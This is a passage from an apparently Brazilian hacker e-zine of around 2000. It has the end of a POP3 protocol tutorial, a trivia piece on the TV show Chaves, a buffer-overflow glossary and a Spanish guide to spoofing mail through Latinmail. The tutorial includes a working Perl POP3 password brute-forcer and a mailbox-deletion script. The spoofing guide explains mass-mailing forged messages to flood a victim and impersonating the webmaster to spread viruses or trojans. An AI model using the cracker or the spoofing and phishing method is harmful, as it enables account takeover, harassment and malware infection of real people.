reconheceu seu login e senha e agora voce esta logado e sua mailbox esta travada (locked). -ERR Invalid login. Try again or get out. -ERR Unable to lock mailbox. File already locked. No primeiro caso, voce nao conseguiu logar porque escreveu a senha errada. No segundo caso voce logou no servidor com a senha correta mas nao conseguiu abrir a sua mailbox porque ela esta travada. Isso pode ocorrer por 2 fatores: Ou eh um problema no servidor, o que ja aconteceu comigo quando lia meu e-mail no iG, por exemplo, ou pode ser que outro pessoa esteja no momento lendo seus e-mails.... Entre com um novo USER/PASS ou de um QUIT. EXEMPLOS: Autenticado com sucesso: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages Erro ao autenticar por usuario invalido: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchax +ERR I don't know you. USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages Erro ao autenticar por mailbox travada: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz -ERR Can't get mailbox lock. QUIT +OK See ya later... ------------------------ | Comandos Extras do | | Estado de Autenticacao | ------------------------ RPOP Esse comando eh usado no estado de Autenticacao no lugar do comando PASS. Para usar esse comando, o cliente POP3 deve usar uma porta reservada (menor que 1024, olhe no /etc/services) para conectar no servidor. O servidor POP3 ira usar o par USER-RPOP para autenticar o usuario. O servidor ira ver se o cliente POP3 esta apto a se logar no servidor de acordo com a sua localizacao. Por exemplo, no UNIX da Berkeley o .rhosts eh usado para autenticar o cliente POP3. Como jah percebemos, atraves do uso de outros mecanismos de autenticacao ao inves de senhas eh possivel ter acesso a varias outras contas POP3 usando outros hosts considerados seguros, igual ao rlogin. O uso desse metodo de autenticacao eh desencorajado por poder ser facilmente burlado tendo-se acesso root em uma maquina considerada segura. Respostas: +OK Maildrop has XX messages O servidor o reconheceu como usuario e voce obteve acesso ao mailbox. Voce entra entao para o estado de Transacao. -ERR Invalid login. Try again or get out. O servidor nao o reconheceu como usuario que pode ter acesso a essa conta nesse servidor POP3. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command RPOP pch4xor -ERR Invalid login USER pchaz +OK Please send a PASS command RPOP pchaz +OK Maildrop has 1 message RETR 1 +OK 3321 octets < ... > DELE 1 +OK message deleted QUIT +OK Sayonara APOP Este comando serve para substituir o envio de logins e senhas em texto puro a fim de aumentar a seguranca da transacao, visto que essas podem ser facilmente capturadas por sniffers instalados no servidor POP3. Todos os servidores que suportam esse comando possuem seu banner de boas-vindas com um texto extra. Ex: +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net> Note esse <1896.697170952@pchazard.net>. Esse pedaco do banner ira mudar de conexao para conexao. Vamos analiza-lo: XXXX = PID do servidor POP3 YYYYYYYYY = horario em que a conexao foi aberta ZZZZZZZZZZZ = host do servidor POP3 Esses dados sao usados na autenticacao do cliente POP3. O que o cliente faz: Quando recebe o banner, ele salva esse pedaco do banner em uma variavel. Vamos supor que o login do usuario a logar eh "pchaz" e que a senha desse login no servidor eh "not4you". Entao o cliente ira pegar o pedaco do banner <1896.697170952@pchazard.net> e juntar com a senha que ele acha que eh do login "pchaz". Ficara entao: <1896.697170952@pchazard.net>not4yoy Entao o cliente tira o MD5 dessa string e envia como segundo argumento do APOP. Ex: MD5("<1896.697170952@pchazard.net>not4yoy") = c4c9334bac560ecc979e58001b3e22fb +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net> APOP pchaz c4c9334bac560ecc979e58001b3e22fb +OK maildrop has 1 message (369 octets) E pronto. O cliente foi autenticado enviando apenas o login sem a sua senha. Respostas: +OK Maildrop has XX messages O servidor o reconheceu como sendo autenticado e voce estah agora no estado de Transacao. -ERR Invalid login. Try again or get out. O servidor nao o reconheceu como usuario autenticado. Tente novamente ou saia do servidor. EXEMPLOS: Autenticado com sucesso +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net> APOP pchaz c4c9334bac560ecc979e58001b3e22fb +OK maildrop has 1 message (369 octets) DELE 1 +OK QUIT +OK See ya later... Erro ao autenticar e depois loga com USER/PASS +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net> APOP pchaz c4c9334bac560ecc979e58001b3e22fb -ERR Invalid login USER pchaz +OK Please enter PASS command PASS not4you +OK maildrop has 1 message (369 octets) DELE 1 +OK QUIT +OK See ya later... ----------- | Transacao | ----------- Passado essa parte com de autenticacao com sucesso, voce entra para o estado de Transacao. No estado de transacao, voce esta apto a gerenciar sua mailbox, lendo e-mails e ate apagando eles. Existem 7 comandos "oficiais" de acordo com o RFC1225 para serem usados nessa transacao. STAT Diz quantas mensagens ha' na sua caixa postal e qual o tamanho de todas juntas em octetos (letras). Nao possui argumentos. Respostas: +OK XX YYYY Diz que ha' no servidor XX mensagens e o tamanho de todas juntas eh YYYY letras. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages STAT +OK 2 320 QUIT +OK See ya later... LIST [msg#] Faz a mesma coisa que o STAT, mas com mensagens especificas ao invez de gerais. O parametro [msg#] eh opcional e indica o numero da mensagem que deve ser recebida as informacoes. Caso o parametro nao seja dado, sera listada informacoes sobre todas as mensagens na mailbox e a resposta do servidor serah multi-linha, ou seja, tera varias linhas e terminarah com um . Respostas: Sem parametro +OK AA messages (BBB octets) XX YYYY XX YYYY Diz que ha AA mensagens na mailbox, com o tamanho de BBB letras ao todo. Para cada mensagem na mailbox eh gerada uma linha que diz que a mensagem numero XX possui YYYY letras. Com parametro +OK XX YYYY Diz que a mensagem XX possui YYYY letras. Em caso de erro -ERR no such message Diz que a mensagem especificada como parametro nao existe. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages LIST 1 +OK 1 320 LIST +OK 2 messages (500 octets) 1 320 2 180 LIST 3 -ERR no such message QUIT +OK See ya later... RETR Recebe a mensagem especificada no parametro Esta mensagem nao deve estar marcada para ser removida. Se o maior numero da ultima mensagem acessada foi menor que ele serah atualizado para (sera discutido no comando LAST) Respostas: +OK YYYY octets Diz que a mensagem possui YYYY linhas e logo apos envia a mensagem. Lembre-se que a mensagem inclui o cabecalho, apesar do servidor POP3 nao diferenciar corpo e cabecalho do e-mail. O fim da mensagem eh marcado por um . -ERR no such message A mensagem especificada em nao existe ou esta marcada para ser removida. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages RETR 1 +OK 3321 octets Subject: ah se tu soubesses... Ha se tu soubesses como sou tao carinhoso e o muito muito que te quero na fugirias mais de mim... Ass. Sua admiradora secreta. pcHazard, vc eh um gato, eu te amo e faco qq coisa por voce !!!! . +RETR 3 -ERR no such message QUIT +OK See ya later... DELE Deleta a mensagem especificada no parametro da sua mailbox. Esta mensagem nao deve estar marcada para ser removida. Se o maior numero da ultima mensagem acessada foi menor que ele serah atualizado para Respostas: +OK message deleted Diz que a mensagem foi removida com sucesso da sua mailbox. -ERR no such message A mensagem especificada em nao existe ou ja foi removida. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages DELE 1 +OK message deleted RETR 1 -ERR no such message QUIT +OK See ya later... NOOP Naum faz nada, apenas dah uma resposta positiva. Respostas: +OK LAST Este comando retorna o maior numero da ultima mensagem acessada na mailbox. Se voce leh a mensagem 5, seu LAST vai ser 5. Se vc depois ler a mensagem 3, seu LAST continua sendo 5. Ele continua valendo mesmo se vc fechar a conexao atual e abrir outra sessao no servidor POP3. Ele serve pra que, se vc nao puxou todas as mensagens em uma sessao, depois vc pode pegar o numero da ultima mensagem que voce pegou e continuar a pegar os e-mails de onde parou. Respostas: +OK YY Diz que o maior numero da ultima mensagem acessada foi a YY. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 13 messages LAST +OK 1 RETR 1 < ... > LAST +OK 1 RETR 12 < ... > LAST +OK 12 RETR 5 < ... > LAST +OK 12 QUIT +OK See ya later... RSET Esse comando serve para voce reiniciar a sessao atual. Todas as mensagens que estavam marcadas para serem removidas sao desmarcadas e voltam para a mailbox como mensagens normais. Seu LAST volta para o valor que possuia quando vc iniciou a sessao. Ela sempre gera uma resposta positiva. Respostas: +OK Diz que a sessao foi reiniciada com sucesso. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 3 messages DELE 1 +OK message deleted DELE 2 +OK message deleted DELE 3 +OK message deleted STAT +OK 0 0 RSET +OK STAT +OK 3 3342 QUIT --------------------------- | Comandos Extras do Estado | | de Transacao | --------------------------- TOP Esse comando serve pra voce pegar um "resumo" ou saber do que uma mensagem trata. O parametro eh o numero da mensagem e eh o numero de linhas do corpo da mensagem a enviar. A nao deve ser uma mensagem marcada para remocao. Apos enviar esse comando e a resposta do servidor for positiva, o servidor enviara o cabecalho da mensagem mais linhas do corpo da mensagem. Nesse caso, a resposta sera multi-linha e terminara com um Se for maior que o numero de linhas da mensagem, toda a mensagem serah enviada. Respostas: +OK < ... Cabecalho+Corpo ... > -ERR no such message A mensagem especificada em nao existe ou esta marcada para remocao. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 1 message TOP 1 4 +OK Mail from: jenny@aol.com Subject: I can't live without you, pcHazard ! pcHazard, In all my life I never know a man like you. You are intelligent, wonderful and I love you deeply. I try to forget you, but you don't get out of my thinks and . DELE 1 +OK message deleted QUIT UIDL [msg#] Esse comando retorna uma chave que diferencia uma mensagem de outra do servidor. Nao existe mensagens diferentes com o mesmo UIDL que significa Unique ID Listing. Seu argumento eh opcional, e se for dado, nao deve ser uma mensagem marcada para remocao. Se nao for dado, sera dada uma lista com os UIDLs de todas as mensagems do servidor. A resposta serah multi-linha e terminarah com um . O UIDL de cada mensagem eh determinado pelo servidor e consiste de caracteres entre 0x21 e 0x7E. Ele se mantem mesmo em sessoes diferentes e mensagens marcadas para remocao nao terao seus UIDLs listados. Respostas: +OK unique-id listing follows A lista de UIDLs serah listada apos essa mensagem positiva. -ERR no such message A mensagem especificada em [msg#] nao existe. EXEMPLO: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 3 messages UIDL 1 +OK 1 whqtswO00WBw418f9t5JxYwZ UIDL 4 -ERR no such message UIDL 1 whqtswO00WBw418f9t5JxYwZ 2 QhdPYR:00WBw1Ph7x7 3 YuqrTS:00WBw4PjxZ . QUIT +OK See ya later... ------------- | Atualizacao | ------------- Teoricamente, este estado eh tao util quando aquela nota que fica sobrando quando vc passa de ano no colegio :-) Quando voce entra pra este estado, o servidor POP3 destrava sua caixa postal (mailbox) e finaliza a conexao. Mas, se voce ainda nao tiver logado no servidor e dar um QUIT, voce eh disconectado do servidor sem passar por esse estado. Por que? Porque esse estado serve pra dizer que o servidor fechou sua caixa postal, e se vc ainda nao tiver logado, sua caixa postal nem se quer estara aberta. Para entrar nesse estado deve-se estar no estado Transacao e usa-se o comando: QUIT Diz ao servidor que voce tah cansado de pegar e-mails e que tah a fim de sair dele. Entao ele destrava sua mailbox e te disconecta. Sua resposta sempre eh positiva. Respostas: +OK See ya later... O servidor ja destravou (unlock) sua mailbox e esta pronto para finalizar a conexao. Eh a ultima coisa que se recebe antes de desconectar-se do servidor. ----------------- | Sessoes POP3 de | | Exemplo | ----------------- Login com sucesso: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 3 messages QUIT +OK see ya later Erro no login: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz -ERR Invalid login QUIT +OK see ya later +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz -ERR User unknow QUIT +OK see ya later Nao ha e-mails na mailbox: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 0 messages STAT +OK 0 0 QUIT +OK see ya later Recebendo e-mails: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 3 messages STAT +OK 3 333 LIST +OK list follows 1 111 2 111 3 111 . RETR 1 +OK < ... mensagem ... > . DELE 1 +OK message deleted RETR 2 +OK < ... mensagem ... > . DELE 2 +OK message deleted RETR 3 +OK < ... mensagem ... > . DELE 3 +OK message deleted QUIT +OK see ya later ------------------ | Clientes POP3 de | | Exemplo | ------------------ Password Cracker <++> protocolos/pop3/popcrack.pl #!/usr/bin/perl use IO::Socket; if ($#ARGV != 2) { print "\n\n ---=[ POPCracker v1.0 ]=---\n"; print "POPCracker v1.0 - by pcHazard\n"; print "\nUso: popcrack.pl \n\n"; exit 0; } my $servidor = $ARGV[0]; my $login = $ARGV[1]; my $listasenha = $ARGV[2]; my $sock; my $senha; print "\nConectando ao Servidor $servidor...\n"; $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp'); if ($sock) { print "Conectado.\n"; recv($sock,$msg,4096,0); open(LISTA, "< $listasenha") || die "Erro abrindo lista de senhas.\n"; lblSenha: while () { $senha = $_; $senha = substr($senha,0,length($senha)-1); next lblSenha if ($senha eq ""); checklogin(); } print $sock "QUIT\n"; close $sock; } else { print "Erro ao Estabelecer Conexao Com Servidor.\n"; } print "\n\n ---=[ POPCracker v1.0 ]=---\n"; print "POPCracker v1.0 - by pcHazard\n"; print "\n"; print "\n\n"; sub checklogin { print STDERR "\n[L:$login] [S:$senha] "; print $sock "USER $login\n"; recv($sock,$msg,4096,0); if (valida($msg) == 1) { return 1; } print $sock "PASS $senha\n"; recv($sock,$msg,4096,0); if (valida($msg) == 1) { return 1; } else { print STDERR "FOUND"; escreve("cracklog","Servidor: $servidor [L=$login] [S=$senha]\n"); close $sock; $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp'); exit 0 if (!$sock); recv($sock,$msg,1024,0); return 0; } } sub valida { $str = @_[0]; if (substr($str,0,3) eq "+OK") { return 0; } else { return 1; print $sock "QUIT\n"; close $sock; $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp'); exit 0 if (!$sock); } } sub escreve { my($arq, $txt) = @_; open(LOG, ">> $arq"); print LOG "$txt"; close LOG;} <--> Limpador de Mailbox <++> protocolos/pop3/mbclean.pl #!/usr/bin/perl use IO::Socket; if ($#ARGV != 2) { print "\n\n ---=[ MBClean v1.0 ]=---\n"; print "MBClean v1.0 - by pcHazard\n"; print "\nUso: mbclean.pl \n\n"; exit 0; } my $servidor = $ARGV[0]; my $login = $ARGV[1]; my $senha = $ARGV[2]; my $sock; print "\nConectando ao Servidor $servidor...\n"; $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp'); if ($sock) { print "Conectado.\n"; recv($sock,$msg,4096,0); if (valida($msg) == 0) { print $sock "USER $login\n"; recv($sock,$msg,4096,0); if (valida($msg) == 0) { print $sock "PASS $senha\n"; recv($sock,$msg,4096,0); if (valida($msg) == 0) { print "Logado com sucesso no Servidor.\n"; print $sock "STAT\n"; recv($sock,$msg,4096,0); $total = ((split(" ",$msg))[1]); $octets = ((split(" ",$msg))[2]); print "Ha $total Mensagen(s) Na Sua Caixa ($octets)\n"; if ($total != 0) { RCV: for (1 .. $total) { my $msgnum = $_; unlink 'MSG#$msgnum'; print STDERR "Deletando Mensagem $msgnum de $total... "; print $sock "DELE $msgnum\n"; recv($sock,$msg,1024,0); print STDERR "OK\n"; } print $sock "QUIT\n"; close $sock; } else { print "Nao ha mensagens a serem apagadas.\n"; } } else { print "Usuario-Senha Incorreto. Tente Novamente.\n"; exit 0; } } else { print "Erro usando login: $login\n"; } } } else { print "Erro ao Estabelecer Conexao Com Servidor.\n"; } print "\n\n ---=[ MBClean v1.0 ]=---\n"; print "MBClean v1.0 by pcHazard\n"; print "\n"; print "\n\n"; sub valida { $str = @_[0]; if (substr($str,0,3) eq "+OK") { return 0; } else { return 1; } } <--> Leitor de e-mails <++> protocolos/pop3/pcmail.pl #!/usr/bin/perl use IO::Socket; if ($#ARGV != 2) { print "\n\n ---=[ pcMail v1.0 ]=---\n"; print "pcMail v1.0 - by pcHazard\n"; print "\nUso: pcmail \n\n"; exit 0; } my $servidor = $ARGV[0]; my $login = $ARGV[1]; my $senha = $ARGV[2]; my $sock; my $msg; my $total; my $octets; print "\nConectando ao Servidor $servidor...\n"; $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp'); if ($sock) { print "Conectado.\n"; recv($sock,$msg,4096,0); if (valida($msg) == 0) { print $sock "USER $login\n"; recv($sock,$msg,4096,0); if (valida($msg) == 0) { print $sock "PASS $senha\n"; recv($sock,$msg,4096,0); if (valida($msg) == 0) { print "Logado com sucesso no Servidor.\n"; print $sock "STAT\n"; recv($sock,$msg,4096,0); $total = ((split(" ",$msg))[1]); $octets = ((split(" ",$msg))[2]); print "Ha $total Mensagen(s) Na Sua Caixa ($octets)\n"; if ($total != 0) { RCV: for (1 .. $total) { my $msgnum = $_; unlink 'MSG#$msgnum'; print "Recebendo Mensagem $msgnum de $total...\n"; my $mensagem; my $EOM = "\015\012.\015\012"; print $sock "RETR $msgnum\n"; recv($sock,$msg,1,0); while (substr($msg,length($msg)-length($EOM),length($EOM)) ne $EOM) { recv($sock,$msg,100000,0); escreve("MSG#$msgnum", "$msg"); } } print $sock "QUIT\n"; close $sock; } else { print "Nao ha mensagens a serem lidas.\n"; } } else { print "Usuario-Senha Incorreto. Tente Novamente.\n"; exit 0; } } else { print "Erro usando login: $login\n"; } } } else { print "Erro ao Estabelecer Conexao Com Servidor.\n"; } print "\n\n---=[ pcMail v1.0 ]=---\n"; print "pcMail v1 by pcHazard\n"; print "cybercrash\@ig.com.br\n"; print "\n\n"; sub valida { $str = @_[0]; if (substr($str,0,3) eq "+OK") { return 0; } else { return 1; } } sub escreve { my($arq, $txt) = @_; open(LOG, ">> $arq"); print LOG "$txt"; close LOG; } <--> ----------- | Conclusao | ----------- Espero que tenha entendido como o protocolo POP3 funciona, e o que "acontece" por traz do seu cliente de e-mails... Creio que se vc entendeu, agora pode fazer seus proprios clientes de e-mail e entender melhor o funcionamento dos servidores POP3. blah blah blah ... Se vc naum entendeu, releia. Se continuou nao entendendo, leia o RFC original. Se continuou nao entendendo, passe a diante, porque essa aqui nao eh a sua praia... Talvez no issue que vem da F3 tem mais protocolo... Sayonara ! -= Anapolis, GO, Brasil 28 Dez 2000 14:34:35 =- -= 2000 by pcHazard =- -= Another 15 years old guy =- _xXXXP^'' ``^YXXXx_ _xXXXXP~ 08 - CÚRIOSIDADES SOBRE ~YXXXXx_ _xXXXXXX( O CHAVES )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ No momento cultural inutil de hoje, nos vamos falar sobre o chaves-chavito-chaves!!! Quem nao curte ou nao curtiu um bom e velho Chaves e Chapolin??? Ate' hj eu assisto diariamente os mesmos epsodios q assistia qdo tinha 5 anos de idade e ainda acho tudo mto hilario. Talvez ate' mais engracado do q qdo eu era um pia' pq agora eu entendo umas piadas q nao entendia antigamente e melhor... Agora acho + graca nos erros dos atores do que nos roteiros. Bem... vc pode ate' nao curtir, mas aposto q vai se interessar em saber o que aconteceu com os atores deste programa. Por isso decidi publicar aqui um txt q encontrei um tempo atras e achei mto maneiro. Nao sei quem e' o autor deste texto e nem lembro onde foi que o encontrei. Issu ae. Divirtao-se! ------------- Já houve vários boatos sobre a morte dos atores do seriado Chaves. Um deles, que se espalhou por todo o mundo, era a respeito de um acidente aéreo que havia matado todos eles. Na verdade era só mais um dos muitos outros boatos. Dizia-se até mesmo que o acidente realmente havia acontecido e eles teriam saído ilesos, mas isso também era mentira. Roberto Gómez Bolaños (Chaves) e Florinda Meza (Dona Florinda) são casados na vida real. Ela, antes, tinha um caso com Carlos Villagrán (Quico). Até hoje, três atores do seriado Chaves faleceram. Ramón Valdéz (Seu Madruga) morreu de câncer no pulmão devido ao fumo em excesso. Angelines Fernandez (Dona Clotilde) e Raul "Chato" Padilla (Jaiminho, o carteiro) morreram graças a problemas decorrentes da velhice. O ator que interpretava o Godinez (Horácio Gómez Bolaños) era o irmão de Roberto Gómez Bolaños. Depois do fim da série ele se tornou diretor de cinema e veio a falecer tempos depois. Carlos Villagrán (Quico) se afastou da séria por motivos de brigas com os outros atores. Ele disse numa entrevista que o personagem Quico estava se tornando mais popular que o Chaves, então quiseram diminuir o seu papel. Ele não aceitou e resolveu sair para fazer carreira solo. Mas isso é só um lado da história... No seriado que Carlos Villagrán fez depois de largar o elenco de Chaves, seu personagem era um empregado de um hotel. Ramón Valdéz (Seu Madruga) também participou desse seriado, que foi produzido na Venezuela, mas não teve tanto sucesso. O seriado até chegou a ser exibido no Brasil por um tempo, através da Rede Bandeirantes. Ramón Valdéz (Seu Madruga) faleceu durante as gravações de Chaves. Foi quando Quico foi morar com as tias (pois Carlos Villagrán se afastou da série) e Dona Florinda abriu seu restaurante. Tentaram substiruir Seu Madruga pela bisavó da Chiquinha, Dona Neves, também interpretada por Maria Antonieta de las Nieves. Foi em vão, não havia mais como continuar gravando o seriado. Edgar Vivar teve há algum tempo complicações cardíacas e ficou internado num hospital em Hollywood, Estados Unidos. Felizmente nada de grave aconteceu e hoje ele tem seu próprio circo, que faz shows por toda a América Central e do Sul. Curiosamente o México é o único lugar onde não interessa ao humorista apresentar seus shows. Maria Antonieta de las Nieves hoje em dia tem seu próprio programa humorístico na Televisa. Ele se chama La Chilindrina, nome original de sua personagem Chiquinha. Rubén Aguirre (Professor Girafales) era um empregado da produção técnica da Televisa e foi convidado pelo próprio Bolaños para participar de seus seriados. Carlos Villagrán hoje mora na Argentina e tem seu próprio circo, que, aliás, veio fazer uns shows no Brasil há algum tempo. O humorista foi, inclusive, no Programa Livre e no Jô Soares Onze e Meia. Quando começaram as gravações de Chaves, a Televisa não pagava para comprar material para o cenário. Quem tinha que arrumar o dinheiro era o próprio Roberto Gómez Bolaños. Ele então fazia os cenários com material barato, como isopor e papelão. E nos episódios antigos, o chão da vila é o chão do próprio estúdio. Chaves é exibido no Brasil há mais de 16 anos pelo SBT. No começo foram comprados apenas 15 episódios para serem exibidos durante o programa do palhaço Bozo (lembra-se?). Fez tanto sucesso que logo depois foram comprados mais episódios. Chaves faz sucesso até hoje em toda a América Latina, mas os países em que o seriado ainda mais faz sucesso são Brasil, Venezuela, Chile e Argentina. Curiosamente o México não é um dos países em que o seriado ainda faz mais sucesso. Quando foi lançado, Chaves chegava a atingir 60 pontos de audiência no México. Era o líder do horário. O personagem Chapolin Colorado é uma sátira aos poderosos super-heróis americanos. Se formos comparar, podemos encontrar algumas semelhanças entre Chapolin e outros heróis, como por exemplo sua marreta biônica, que pode ser uma brincadeira com o martelo do Thor; e seu alerta das anteninhas de vinil quando sentem a presença do inimigo (sentido de aranha?). O criador dos Simpsons era mais um dos fãs de Roberto Gómez Bolaños. Em vários episódios do desenho animado The Simpsons aparece o personagem Homem-Abelha Mexicano, um sujeito baixinho e gordinho vestido de abelha. Trata-se de uma homenagem ao Chapolin Colorado. A equipe de dublagem fazia o que podia para dublar os episódios de Chaves em que o Professor Girafales dava aula de História. Até que, no último deles, a equipe desistiu de dublar com a História do Brasil, deixando a História do México. -----EoF----- _xXXXP^'' ``^YXXXx_ _xXXXXP~ 09 - Overfl0w Dictionaty ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Nao se desespere! Nao eh OUTRA materia explicando como xploitar um buffer overflow. Aki vc vai encontrar a explicacao de diversos termos usados por programadores de xploits para buffer overflows. Como as vezes issu e' confundido pelo povo, decidi explicar a dife- renca nas tekneeks e o significado de certas palavras para que da proxima vez q vc ler algo sobre isso, nao fike viajando. Bind-Shellcode ############## O nome mesmo ja diz. Eh um shellcode q bindeia uma porta para, na maioria das vezes, abrir uma shell remota. Break-chroot ############ O chroot cria um ambiente restrito a certos usuarios. Um exemplo classico eh encontrado no ftp. Mtos begginers ao entrar num ftp restrito (com login anonymous) pensam estar na raiz do sistema ao darem "cd /". Na verdade eles estao no diretorio "/home/ftp". Issu eh uma restricao do chroot. Esta tecnica quebra a barreira criada pelo chroot. Heap Overflow ############# Eh o termo usado qdo nosso xploit atinge a area de dados do programa bugzado e sobrescreve o ponteiro de certas funcoes ou variaveis. Parece confuso?? Bem... esta tekneek foi bem explicada na BOS pelo Thiago Zaninotti (c0nd0r). A materia se encontra nesta zine. Offsets ####### Sao numeros q sao somados ou diminuidos a um endereco inicial ate' que o Return_Address do buffer exploitado seja alcancado. Return-into-libc ################ O Return_Address eh modificado apontando direto para as funcoes na libc. Como mostrado no projeto Omega (f3-00.txt). Return-into-stack ################# O Return_Address eh modificado direcionando para o Shellcode, localizado na propria pilha. Encontrado nos primeiros exploits de buffer overflow e ainda e' usado nos mais atuais. ShellCode ######### Eh um codigo em Assembly que sera colocado no buffer. Assim que o buffer for xploitado, o programa continua a partir deste shellcode. O que o codigo faz pode variar de simplesmente abrir uma shell local, inserir uma conta nova ou abrir uma shell remota. Stack Smashing ############## Acontece quando colocamos dados de mais em um determinado espaco loca- lizado na pilha. Eh o que caracteriza o Buffer Overflow. Issu ae. E antes que voce comece a resmungar eu vou dizer q concordo que esta materia eh basica d+ e foi colocada aki mais para encher linguica. Na verdade ela foi feita para tirar duvidas de alguns amigos meus que ja receberam esta materia. Ela nao seria publicada aki mas como o carnaval ta acabando e eu to sem nada melhor para preencher a zine, ae esta. =) Se nao serviu em nada para voce, desculpa. Se ajudou voce, de nada. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 10 - Mandando y Spoofeando ~YXXXXx_ _xXXXXXX( Mails Falsos de Latin Mail )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ §µlï_©òól _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Hola a todos: El motivo de este mail es para informarles que ya ahy otro servidor de mails que pueden mandar mails con otra identidad o spoofear un mail de x persona. Bueno como he checado en otros ezines dicen que hay paginas para mandar mails con otra identidad pero nunca vi la direccion de latinmail. Por eso les mando este truco. La pagina es www.latinmail.com pero el truco es meterse a esta direccion www11.latinmail.com ahy les va a salir todas las carpetas que tiene latinmail, pueden ver lo que otros usuarios mandan archivos anexos al mensage. pueden ver las imagenes y archivos que usa latinmail para que funcione su pagina. Bueno, ya les voy a decir como mandar mensages con otra identidad por ejemplo bill_gates@mocosoft.com esto hace que mande mails a todos los usuarios de latinmail y vean lo que ustedes escribieron. Pero pobre de la persona que le pusistes de quien mandaba porq de seguro al dia siguiente va a tener como 1,000 o mas mails en su correo (solo si los usuarios le contestan) Podrian tambien pasarse como el webmaster de latinmail informandolos de que tienen problemas y que tienen que bajar algun archivo x que de seguro uds. van a poner la direccion de algun virus o troyano para que se infecte esta persona. Pero cuidado de no abusar con esto pues podrian bannearlos y joderse. El truco es este: En tu navegador por la direccion www11.latinmail.com luego hasta abajos buscas la pagina todos.htm ahy le aprietas y luego en donde dice De (ej: Alexito [alex@latinmail.com]): pones el mail de quien quieres floodear o pasarte por el y luego donde dice asunto ponen lo que ustedes quieran y el mensage....... !!!!!!!! Y ¡¡¡¡¡¡LISTO!!!!!!!! A mandarlo...... Y en unos instantes ese mail le va a llegar a todo los usuarios de latinmail...........!!!!!! :o) Bueno esto sirve para que al usuario que le pusistes lo floodes el mail........ Esto le paso a un amigo que me copio este truco y se paso de lanza con mi truco que descubri yo..... Pues yo vi que le llegaron como 1, 500 msg de todos los usuarios...... Y si tu tienes mail en latinmail de seguro te llego el mensage....... Bueno en esta pagina ahy programas que sirven para que la pagina de latinmail sirva..... Lo malo es que unos de esos estan protegidos con contraseña porq estan comprimidas con el winzip..... Bueno pues crackealo y ya!!!!!! todavia yo no lo crackeo pues apenas lo baje......!!!!! :o( Bueno si descubro otra cosa mas, seguro que lo mando a esta ezine para que lo publiquen....... ADIOS Y diviertanse con este truquillo, PERO NO ABUSEN!!!!!!!!!!!! P.D ECHENLE GANAS ADIDAS Y LOS DEMAS CONTRIBUYENTES DE ESTA EZINE, ES BUENA ESTA EZINE SE DESPIDE DE USTEDES §µlï_©òól suli_cool@yahoo.com.mx _xXXXP^'' ``^YXXXx_ _xXXXXP~ 11 - Heap Overflow: ~YXXXXx_ _xXXXXXX( exemplo simplicado )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx 